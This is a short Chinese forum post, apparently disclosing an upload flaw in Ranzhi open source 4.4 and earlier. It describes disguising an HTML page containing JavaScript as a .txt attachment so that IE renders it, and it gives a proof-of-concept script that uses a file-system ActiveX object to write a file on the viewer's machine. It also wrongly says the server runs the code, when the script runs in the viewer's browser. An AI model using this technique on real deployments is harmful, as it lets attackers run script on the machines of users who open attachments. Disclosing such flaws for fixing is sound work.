通过本地测试然之开源4.4及之前的版本,然之在上传附件处,直接上传php文件时无法保存到服务器的;直接上传js文件,系统会自动编成txt文件,将内容直接输出为字符串,因此也无法运行。但是,我们可以制作一个html页面,里面包含js恶意代码,并将文件名后缀改为txt,之后上传,用ie打开(设置ActiveX控件和插件项,所有都启用)。用ie浏览刚才上传的附件,由于保存后的文件时无后缀名的,因此被视为网页文件解析,服务器就会执行里面的js代码。附件代码举例:
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<script>
rs();
function rs(){
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f1 = fso.createtextfile("hicking.txt",true);
f1.Write ("This is a hicking test.");
f1.Close();
alert('注入文件!请查看桌面,是否已经生成一个hicking.txt文件');
}
</script>
回贴